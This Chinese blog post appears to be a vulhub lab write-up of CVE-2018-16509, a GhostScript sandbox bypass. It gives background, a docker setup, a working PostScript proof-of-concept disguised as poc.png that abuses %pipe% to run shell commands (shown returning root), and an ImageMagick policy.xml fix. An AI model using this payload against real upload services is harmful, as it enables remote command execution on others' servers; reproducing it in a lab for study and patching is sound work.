【vulhub】CVE-2018-16509 GhostScript 沙箱绕过(命令执行)漏洞

漏洞描述

GhostScript 是一套基于 Adobe Systems 的 PostScript 和 PDF 页面描述语言解释器的软件。它被许多图像处理库广泛使用,如 ImageMagick、Python PIL 等。

2018年8月21日,安全研究员 Tavis Ormandy 通过公开邮件列表披露了 GhostScript 的安全沙箱可以被绕过的漏洞。通过构造恶意的图片内容,攻击者可以实现命令执行、文件读取和文件删除等操作。

 

漏洞编号:

CVE-2018-16509

影响范围:

Ghostscript 9.24之前版本

漏洞成因:

在处理/invalidaccess异常时,程序没有正确的检测‘restoration of privilege(权限恢复)’。攻击者可通过提交特制的PostScript利用该漏洞执行代码。

漏洞复现

启动环境

docker-compose build
docker-compose up -d

访问http://your-ip:8080,可以看到文件上传按钮

 构造poc.png

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

上传poc.png,执行命令执行 id > /tmp/success && cat /tmp/success

将命令的输出重定向到 /tmp/success 文件,并将其内容输出

 

浏览器返回 Image size is: uid=0(root) gid=0(root) groups=0(root)

修改 id > /tmp/success && cat /tmp/success 可以执行任意命令

 

 

登录docker发现文件被成功执行

 修复方案

漏洞信息可以参考imagemaick的ghost script RCE漏洞

目前最全的修复方案参考:https://www.kb.cert.org/vuls/id/332928

编辑ImageMagick的policy文件,默认路径为/etc/ImageMagick/policy.xml

在标签中增加如下内容

  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />

 

posted @ 2025-05-14 16:32  Antoniiiia  阅读(26)  评论(0)    收藏  举报